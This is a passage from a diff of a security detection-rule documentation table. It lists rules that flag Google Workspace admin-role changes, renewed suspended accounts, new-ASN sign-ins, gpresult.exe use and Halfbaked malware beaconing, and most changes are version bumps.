managed within Google Workspace. Administrators should set restrictions to not allow any application from the marketplace for security reasons. Adversaries may enable any app to be installed and executed on mobile devices within a Google Workspace environment prior to distributing the malicious APK to the end user. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |113 -|<> |Detects when a custom admin role or its privileges are modified in Google Workspace. Adversaries may add or expand privileges on an existing role to elevate access for assigned users or groups without creating a new role or directly assigning a well-known admin role. Because privilege changes take effect for all principals assigned the role, modifying role permissions can silently expand access across multiple accounts. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence], [Tactic: Privilege Escalation] |None |211 +|<> |Detects when a custom admin role or its privileges are modified in Google Workspace. Adversaries may add or expand privileges on an existing role to elevate access for assigned users or groups without creating a new role or directly assigning a well-known admin role. Because privilege changes take effect for all principals assigned the role, modifying role permissions can silently expand access across multiple accounts. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence], [Tactic: Privilege Escalation] |None |212 -|<> |Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |9 +|<> |Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |10 |<> |Detects the first time a Google Workspace user successfully signs in from a given source ASN within a 14-day historical window. Most users have a stable set of egress ASNs (home ISP, corporate VPN, mobile carrier). A new ASN for a user is a meaningful anomaly as it surfaces ISP changes and travel, but also catches AiTM phishing-kit relays whose egress ASN was never previously associated with the user. |[Domain: Cloud], [Domain: Identity], [Data Source: Google Workspace], [Data Source: Google Workspace Audit Logs], [Data Source: Google Workspace User Log Events], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 @@ -1390,7 +1490,7 @@ and their rule type is `machine_learning`. |<> |Detects the usage of gpresult.exe to query group policy objects. Attackers may query group policy objects during the reconnaissance phase after compromising a system to gain a better understanding of the active directory environment and possible methods to escalate privileges or move laterally. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender XDR], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |216 -|<> |Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. |[Use Case: Threat Detection], [Tactic: Command and Control], [Domain: Endpoint], [Resources: Investigation Guide] |None |107 +|<> |Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. |[Use Case: Threat Detection], [Tactic: Command and Control], [Domain: Endpoint], [Resources: Investigation Guide] |None |109 |<